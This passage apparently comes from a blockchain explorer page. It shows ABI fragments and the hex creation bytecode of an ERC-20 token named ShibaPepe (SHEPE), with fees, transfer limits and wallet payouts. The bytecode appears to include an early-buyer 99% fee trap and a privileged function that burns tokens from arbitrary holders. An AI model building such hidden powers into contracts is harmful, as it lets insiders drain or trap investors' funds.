:"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260006009819055600a556013805463ffffffff191663010000011790553480156200002e57600080fd5b506040518060400160405280600981526020016853686962615065706560b81b81525060405180604001604052806005815260200164534845504560d81b8152508160029081620000809190620008d0565b5060036200008f8282620008d0565b5050506000620000a4620004c860201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062003e0e833981519152908290a350600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051339291829163c45a0155916004808201926020929091908290030181865afa1580156200014b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017191906200099c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001bf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e591906200099c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000233573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025991906200099c565b600b80546001600160a01b0319166001600160a01b0392909216918217905562000285906001620004cc565b600b546200029e906001600160a01b0316600162000538565b600f80546001600160a01b0319908116738dce31055e534306cc4e9fb19a6cafc36d63db3417909155600e80549091167322d20d13bfde1eea8547b7f9c5b1a3c4243046cd1790556b1027e72f1f12813088000000606462000302826002620009e4565b6200030e919062000a04565b600655606462000320826002620009e4565b6200032c919062000a04565b60075560646200033e826002620009e4565b6200034a919062000a04565b6008556127106200035d826005620009e4565b62000369919062000a04565b600c55600f601d819055601c556000601e819055601f8190556019819055600a60178190556018819055601a829055620003a4818362000a27565b620003b0919062000a27565b620003bc919062000a27565b601655601f54601d54601c54601e54620003d7919062000a27565b620003e3919062000a27565b620003ef919062000a27565b601b556200040161dead600162000538565b600f546200041a906001600160a01b0316600162000538565b6200042783600162000538565b6200043430600162000538565b600e546200044d906001600160a01b0316600162000538565b6200045c61dead60016200059b565b600f5462000475906001600160a01b031660016200059b565b620004828360016200059b565b6200048f3060016200059b565b600e54620004a8906001600160a01b031660016200059b565b620004b4838262000649565b620004bf836200072e565b50505062000a3d565b3390565b6001600160a01b0382166000908152602460205260409020805460ff1916821515179055620004fc828262000538565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6001600160a01b038216600081815260266020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6005546001600160a01b03163314620005ea5760405162461bcd60e51b8152602060048201819052602482015260008051602062003dee83398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260256020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006a15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005e1565b8060046000828254620006b5919062000a27565b90915550506001600160a01b03821660009081526020819052604081208054839290620006e490849062000a27565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620007795760405162461bcd60e51b8152602060048201819052602482015260008051602062003dee8339815191526044820152606401620005e1565b6001600160a01b038116620007e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620005e1565b6005546040516001600160a01b0380841692169060008051602062003e0e83398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200085657607f821691505b6020821081036200087757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008cb57600081815260208120601f850160051c81016020861015620008a65750805b601f850160051c820191505b81811015620008c757828155600101620008b2565b5050505b505050565b81516001600160401b03811115620008ec57620008ec6200082b565b6200090481620008fd845462000841565b846200087d565b602080601f8311600181146200093c5760008415620009235750858301515b600019600386901b1c1916600185901b178555620008c7565b600085815260208120601f198616915b828110156200096d578886015182559484019460019091019084016200094c565b50858210156200098c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009af57600080fd5b81516001600160a01b0381168114620009c757600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009fe57620009fe620009ce565b92915050565b60008262000a2257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009fe57620009fe620009ce565b6133a18062000a4d6000396000f3fe6080604052600436106103c75760003560e01c80638ca0afb1116101f2578063c5b45ec01161010d578063dd62ed3e116100a0578063e7ad9fcd1161006f578063e7ad9fcd14610ad0578063e884f26014610af0578063f2fde38b14610b05578063fd35d1d614610b2557600080fd5b8063dd62ed3e14610a49578063e086e5ec14610a8f578063e2f4560514610aa4578063e611bfdb14610aba57600080fd5b8063d257b34f116100dc578063d257b34f146109dd578063d4384318146109fd578063dbbfff6314610a13578063dc3f0d0f14610a2957600080fd5b8063c5b45ec014610970578063c876d0b914610990578063cd51e6d4146109b1578063d0a39814146109c757600080fd5b8063aa4bde2811610185578063bb2f3c9b11610154578063bb2f3c9b146108e3578063bbc0c74214610910578063c024666814610930578063c18bc1951461095057600080fd5b8063aa4bde2814610880578063aacebbe314610896578063abe43b1b146108b6578063b9e93700146108cd57600080fd5b80639a7a23d6116101c15780639a7a23d61461080a5780639fccce321461082a578063a457c2d714610840578063a9059cbb1461086057600080fd5b80638ca0afb1146107875780638da5cb5b146107a757806390aa2ea6146107c557806395d89b41146107f557600080fd5b806359d24b8e116102e2578063751039fc11610275578063868f0a7411610244578063868f0a7414610716578063882c3d981461072c57806388e765ff1461075c5780638a8c523c1461077257600080fd5b8063751039fc146106b55780637571336a146106ca57806376c702bf146106ea57806382cab1301461070057600080fd5b80636ddd1713116102b15780636ddd17131461064b57806370a082311461066a578063715018a61461068a578063737952e61461069f57600080fd5b806359d24b8e146105d95780635c457eae1461060957806366d602ae1461061f5780636b0a894c1461063557600080fd5b806323b872dd1161035a57806339509351116103295780633950935114610569578063437764991461058957806349bd5a5e1461059f5780634a62bb65146105bf57600080fd5b806323b872dd146104ed5780632be32b611461050d5780632e6ed7ef1461052d578063313ce5671461054d57600080fd5b806318160ddd1161039657806318160ddd1461048a5780631816467f1461049f5780631a8145bb146104c15780631f3fed8f146104d757600080fd5b806306fdde03146103d357806308aa2695146103fe578063095ea7b3146104225780631694505e1461045257600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b3b565b6040516103f59190612f51565b60405180910390f35b34801561040a57600080fd5b5061041460145481565b6040519081526020016103f5565b34801561042e57600080fd5b5061044261043d366004612fb7565b610bcd565b60405190151581526020016103f5565b34801561045e57600080fd5b50600d54610472906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561049657600080fd5b50600454610414565b3480156104ab57600080fd5b506104bf6104ba366004612fe3565b610be4565b005b3480156104cd57600080fd5b5061041460225481565b3480156104e357600080fd5b5061041460205481565b3480156104f957600080fd5b50610442610508366004613000565b610c8f565b34801561051957600080fd5b506104bf610528366004613041565b610d3b565b34801561053957600080fd5b506104bf61054836600461305a565b610e48565b34801561055957600080fd5b50604051601281526020016103f5565b34801561057557600080fd5b50610442610584366004612fb7565b610eeb565b34801561059557600080fd5b5061041460185481565b3480156105ab57600080fd5b50600b54610472906001600160a01b031681565b3480156105cb57600080fd5b506013546104429060ff1681565b3480156105e557600080fd5b506104426105f4366004612fe3565b60126020526000908152604090205460ff1681565b34801561061557600080fd5b50610414601a5481565b34801561062b57600080fd5b5061041460085481565b34801561064157600080fd5b5061041460155481565b34801561065757600080fd5b5060135461044290610100900460ff1681565b34801561067657600080fd5b50610414610685366004612fe3565b610f27565b34801561069657600080fd5b506104bf610f42565b3480156106ab57600080fd5b50610414601c5481565b3480156106c157600080fd5b506104bf610fb6565b3480156106d657600080fd5b506104bf6106e536600461308c565b61101d565b3480156106f657600080fd5b5061041460175481565b34801561070c57600080fd5b50610414601f5481565b34801561072257600080fd5b50610414601d5481565b34801561073857600080fd5b50610442610747366004612fe3565b60266020526000908152604090205460ff1681565b34801561076857600080fd5b5061041460075481565b34801561077e57600080fd5b506104bf6110e5565b34801561079357600080fd5b506104bf6107a23660046130ca565b6111a8565b3480156107b357600080fd5b506005546001600160a01b0316610472565b3480156107d157600080fd5b506104426107e0366004612fe3565b60246020526000908152604090205460ff1681565b34801561080157600080fd5b506103e86111ff565b34801561081657600080fd5b506104bf61082536600461308c565b61120e565b34801561083657600080fd5b5061041460215481565b34801561084c57600080fd5b5061044261085b366004612fb7565b611302565b34801561086c57600080fd5b5061044261087b366004612fb7565b61139b565b34801561088c57600080fd5b5061041460065481565b3480156108a257600080fd5b506104bf6108b1366004612fe3565b6113a8565b3480156108c257600080fd5b50600a544310610442565b3480156108d957600080fd5b5061041460165481565b3480156108ef57600080fd5b506104146108fe366004612fe3565b60116020526000908152604090205481565b34801561091c57600080fd5b506013546104429062010000900460ff1681565b34801561093c57600080fd5b506104bf61094b36600461308c565b611456565b34801561095c57600080fd5b506104bf61096b366004613041565b6114df565b34801561097c57600080fd5b506104bf61098b366004612fe3565b6115e8565b34801561099c57600080fd5b50601354610442906301000000900460ff1681565b3480156109bd57600080fd5b5061041460095481565b3480156109d357600080fd5b50610414601b5481565b3480156109e957600080fd5b506104bf6109f8366004613041565b611633565b348015610a0957600080fd5b50610414601e5481565b348015610a1f57600080fd5b5061041460235481565b348015610a3557600080fd5b506104bf610a44366004613041565b61177e565b348015610a5557600080fd5b50610414610a643660046130ff565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a9b57600080fd5b506104bf611885565b348015610ab057600080fd5b50610414600c5481565b348015610ac657600080fd5b50610414600a5481565b348015610adc57600080fd5b506104bf610aeb36600461305a565b6118f1565b348015610afc57600080fd5b506104bf611991565b348015610b1157600080fd5b506104bf610b20366004612fe3565b6119ca565b348015610b3157600080fd5b5061041460195481565b606060028054610b4a9061312d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b769061312d565b8015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b5050505050905090565b6000610bda338484611ab5565b5060015b92915050565b6005546001600160a01b03163314610c175760405162461bcd60e51b8152600401610c0e90613167565b60405180910390fd5b6001600160a01b038116610c6d5760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c0e565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c9c848484611bda565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610d215760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c0e565b610d2e8533858403611ab5565b60019150505b9392505050565b6005546001600160a01b03163314610d655760405162461bcd60e51b8152600401610c0e90613167565b670de0b6b3a76400006103e8610d7a60045490565b610d859060026131b2565b610d8f91906131c9565b610d9991906131c9565b811015610dfa5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c0e565b610e0c81670de0b6b3a76400006131b2565b60078190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e725760405162461bcd60e51b8152600401610c0e90613167565b601983905560178490556018829055601a8190558082610e9285876131eb565b610e9c91906131eb565b610ea691906131eb565b601681905560031015610ee55760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c0e565b50505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bda918590610f229086906131eb565b611ab5565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610f6c5760405162461bcd60e51b8152600401610c0e90613167565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fe05760405162461bcd60e51b8152600401610c0e90613167565b6004546007556004546008556004546006556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146110475760405162461bcd60e51b8152600401610c0e90613167565b806110ba57600b546001600160a01b03908116908316036110ba5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c0e565b6001600160a01b03919091166000908152602660205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461110f5760405162461bcd60e51b8152600401610c0e90613167565b60135462010000900460ff16156111685760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c0e565b6013805462ffff00191662010100179055436009556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b600c5430906111b682610f27565b10156111c157600080fd5b6111cc8484846127f5565b15610ee557600d805460ff60a01b1916600160a01b1790556111ec61288e565b600d805460ff60a01b1916905550505050565b606060038054610b4a9061312d565b6005546001600160a01b031633146112385760405162461bcd60e51b8152600401610c0e90613167565b600b546001600160a01b03908116908316036112bc5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c0e565b6112c68282612a96565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156113845760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c0e565b6113913385858403611ab5565b5060019392505050565b6000610bda338484611bda565b6005546001600160a01b031633146113d25760405162461bcd60e51b8152600401610c0e90613167565b6001600160a01b0381166114345760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c0e565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114805760405162461bcd60e51b8152600401610c0e90613167565b6001600160a01b038216600081815260256020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146115095760405162461bcd60e51b8152600401610c0e90613167565b670de0b6b3a76400006103e861151e60045490565b6115299060036131b2565b61153391906131c9565b61153d91906131c9565b8110156115a15760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c0e565b6115b381670de0b6b3a76400006131b2565b60068190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e3d565b6005546001600160a01b031633146116125760405162461bcd60e51b8152600401610c0e90613167565b6001600160a01b03166000908152601260205260409020805460ff19169055565b6005546001600160a01b0316331461165d5760405162461bcd60e51b8152600401610c0e90613167565b620186a061166a60045490565b6116759060016131b2565b61167f91906131c9565b8110156116ec5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c0e565b6103e86116f860045490565b6117039060016131b2565b61170d91906131c9565b8111156117795760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c0e565b600c55565b6005546001600160a01b031633146117a85760405162461bcd60e51b8152600401610c0e90613167565b670de0b6b3a76400006103e86117bd60045490565b6117c89060026131b2565b6117d291906131c9565b6117dc91906131c9565b81101561183e5760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c0e565b61185081670de0b6b3a76400006131b2565b60088190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e3d565b6005546001600160a01b031633146118af5760405162461bcd60e51b8152600401610c0e90613167565b604051600090339047908381818185875af1925050503d8060008114610ee5576040519150601f19603f3d011682016040523d82523d6000602084013e610ee5565b6005546001600160a01b0316331461191b5760405162461bcd60e51b8152600401610c0e90613167565b601e839055601c849055601d829055601f819055808261193b85876131eb565b61194591906131eb565b61194f91906131eb565b601b81905560031015610ee55760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c0e565b6005546001600160a01b031633146119bb5760405162461bcd60e51b8152600401610c0e90613167565b6013805463ff00000019169055565b6005546001600160a01b031633146119f45760405162461bcd60e51b8152600401610c0e90613167565b6001600160a01b038116611a595760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c0e565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c0e565b6001600160a01b038216611b785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c0e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611c005760405162461bcd60e51b8152600401610c0e906131fe565b6001600160a01b038216611c265760405162461bcd60e51b8152600401610c0e90613243565b60008111611c765760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c0e565b60135462010000900460ff16611d0a576001600160a01b03831660009081526025602052604090205460ff1680611cc557506001600160a01b03821660009081526025602052604090205460ff165b611d0a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c0e565b600a5415611db4576001600160a01b03831660009081526012602052604090205460ff161580611d4757506005546001600160a01b038381169116145b80611d5c57506001600160a01b03821661dead145b611db45760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c0e565b601354429060ff161561224b576005546001600160a01b03858116911614801590611ded57506005546001600160a01b03848116911614155b8015611e0157506001600160a01b03831615155b8015611e1857506001600160a01b03831661dead14155b8015611e3d57506001600160a01b03841660009081526025602052604090205460ff16155b8015611e6257506001600160a01b03831660009081526025602052604090205460ff16155b15611fda576013546301000000900460ff1615611fda576001600160a01b038416600090815260246020526040812054600d5460ff9182161592600160a01b9091049091161590828015611eb35750815b600d549091506001600160a01b03878116911614801590611ee25750600b546001600160a01b03878116911614155b15611fa557611ef2600243613286565b32600090815260106020526040902054108015611f305750611f15600243613286565b6001600160a01b038716600090815260106020526040902054105b611f7c5760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c0e565b3260009081526010602052604080822043908190556001600160a01b0389168352912055611fd6565b8015611fd6576001600160a01b038716600090815260116020526040902054601454811180611fd357600080fd5b50505b5050505b6001600160a01b038416600090815260266020908152604080832054600d54602490935292205460ff92831692600160a01b9092048216159116801561203957506001600160a01b03851660009081526026602052604090205460ff16155b15612105576007548411156120a15760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c0e565b6006546120ad86610f27565b6120b790866131eb565b11156121005760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c0e565b612248565b80801561210f5750815b1561211e576014839055612248565b6001600160a01b03851660009081526024602052604090205460ff16801561215f57506001600160a01b03861660009081526026602052604090205460ff16155b156121c9576008548411156121005760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c0e565b6001600160a01b03851660009081526026602052604090205460ff16612248576006546121f586610f27565b6121ff90866131eb565b11156122485760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c0e565b50505b600061225630610f27565b600c54909150811080159081906122745750601354610100900460ff165b801561228a5750600d54600160a01b900460ff16155b80156122af57506001600160a01b03861660009081526024602052604090205460ff16155b80156122d457506001600160a01b03861660009081526025602052604090205460ff16155b80156122f957506001600160a01b03851660009081526025602052604090205460ff16155b1561232757600d805460ff60a01b1916600160a01b17905561231961288e565b600d805460ff60a01b191690555b6001600160a01b038087166000908152602460209081526040808320549389168352601190915281205460019260ff169190159061236489610f27565b6001600160a01b038b166000908152602560205260409020549015915060ff16806123a757506001600160a01b03891660009081526025602052604090205460ff165b156123b157600093505b8180156123bb5750825b156123e25780156123e2576001600160a01b03891660009081526011602052604090208790555b600084156127dd57600a544310801561241357506001600160a01b038b1660009081526024602052604090205460ff165b801561243857506001600160a01b038a1660009081526024602052604090205460ff16155b801561244657506000601654115b156125c6576001600160a01b038a1660009081526012602052604090205460ff166124e6576001600160a01b038a166000908152601260205260408120805460ff1916600190811790915560158054919290916124a49084906131eb565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646124f38a60636131b2565b6124fd91906131c9565b90506016546019548261251091906131b2565b61251a91906131c9565b6022600082825461252b91906131eb565b909155505060165460175461254090836131b2565b61254a91906131c9565b6020600082825461255b91906131eb565b909155505060165460185461257090836131b2565b61257a91906131c9565b6021600082825461258b91906131eb565b9091555050601654601a546125a090836131b2565b6125aa91906131c9565b602360008282546125bb91906131eb565b909155506127bf9050565b6001600160a01b038a1660009081526024602052604090205460ff1680156125f057506000601b54115b156126b2576064601b548a61260591906131b2565b61260f91906131c9565b9050601b54601e548261262291906131b2565b61262c91906131c9565b6022600082825461263d91906131eb565b9091555050601b54601c5461265290836131b2565b61265c91906131c9565b6020600082825461266d91906131eb565b9091555050601b54601d5461268290836131b2565b61268c91906131c9565b6021600082825461269d91906131eb565b9091555050601b54601f546125a090836131b2565b6001600160a01b038b1660009081526024602052604090205460ff1680156126dc57506000601654115b156127bf5760646016548a6126f191906131b2565b6126fb91906131c9565b90506016546019548261270e91906131b2565b61271891906131c9565b6022600082825461272991906131eb565b909155505060165460175461273e90836131b2565b61274891906131c9565b6020600082825461275991906131eb565b909155505060165460185461276e90836131b2565b61277891906131c9565b6021600082825461278991906131eb565b9091555050601654601a5461279e90836131b2565b6127a891906131c9565b602360008282546127b991906131eb565b90915550505b80156127d0576127d08b3083612ac4565b6127da818a613286565b98505b6127e88b8b8b612ac4565b5050505050505050505050565b3360008181526025602052604081205490919060ff163083826128525761281b82610f27565b6023541115801561282e57506000602354115b1561283f5761283f84602354612c19565b505060006023555060019150610d349050565b600061285d83610f27565b1115612883578660000361287557601486905561287f565b61287f8888612c19565b5060005b9350610d3492505050565b60006023541180156128aa57506023546128a730610f27565b10155b156128bb576128bb30602354612c19565b600060238190556128cb30610f27565b905060006021546020546022546128e291906131eb565b6128ec91906131eb565b90508115806128f9575080155b15612902575050565b600c5461291090600a6131b2565b82111561292857600c5461292590600a6131b2565b91505b60006002826022548561293b91906131b2565b61294591906131c9565b61294f91906131c9565b905061296361295e8285613286565b612ce2565b60225447908190600090612979906002906131c9565b6129839086613286565b60205461299090856131b2565b61299a91906131c9565b9050600060026022546129ad91906131c9565b6129b79087613286565b6021546129c490866131b2565b6129ce91906131c9565b90506129da81836131eb565b6129e49084613286565b600060228190556020819055602181905560235592508415801590612a095750600083115b15612a1857612a188584612e3c565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a52573d6000803e3d6000fd5b50600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612a8c573d6000803e3d6000fd5b5050505050505050565b6001600160a01b0382166000908152602460205260409020805460ff19168215151790556112c68282612eee565b6001600160a01b038316612aea5760405162461bcd60e51b8152600401610c0e906131fe565b6001600160a01b038216612b105760405162461bcd60e51b8152600401610c0e90613243565b6001600160a01b03831660009081526020819052604090205481811015612b885760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c0e565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290612bbf9084906131eb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c0b91815260200190565b60405180910390a350505050565b6001600160a01b038216612c495760405162461bcd60e51b81526020600482015260006024820152604401610c0e565b6001600160a01b03821660009081526020819052604090205481811015612c8c5760405162461bcd60e51b81526020600482015260006024820152604401610c0e565b6001600160a01b0383166000818152602081815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bcd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612d1757612d17613299565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d9491906132af565b81600181518110612da757612da7613299565b6001600160a01b039283166020918202929092010152600d54612dcd9130911684611ab5565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612e069085906000908690309042906004016132cc565b600060405180830381600087803b158015612e2057600080fd5b505af1158015612e34573d6000803e3d6000fd5b505050505050565b600d54612e549030906001600160a01b031684611ab5565b600d5460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612ec2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612ee7919061333d565b5050505050565b6001600160a01b038216600081815260266020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b600060208083528351808285015260005b81811015612f7e57858101830151858201604001528201612f62565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612fb457600080fd5b50565b60008060408385031215612fca57600080fd5b8235612fd581612f9f565b946020939093013593505050565b600060208284031215612ff557600080fd5b8135610d3481612f9f565b60008060006060848603121561301557600080fd5b833561302081612f9f565b9250602084013561303081612f9f565b929592945050506040919091013590565b60006020828403121561305357600080fd5b5035919050565b6000806000806080858703121561307057600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561309f57600080fd5b82356130aa81612f9f565b9150602083013580151581146130bf57600080fd5b809150509250929050565b6000806000606084860312156130df57600080fd5b83356130ea81612f9f565b95602085013595506040909401359392505050565b6000806040838503121561311257600080fd5b823561311d81612f9f565b915060208301356130bf81612f9f565b600181811c9082168061314157607f821691505b60208210810361316157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610bde57610bde61319c565b6000826131e657634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610bde57610bde61319c565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610bde57610bde61319c565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156132c157600080fd5b8151610d3481612f9f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561331c5784516001600160a01b0316835293830193918301916001016132f7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561335257600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220a8b7db842f4de4d0d6afe73d8bd7a1d18f087ca495d3de846d5bb266dafd1b5264736f6c634300081200334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0
Deployed Bytecode
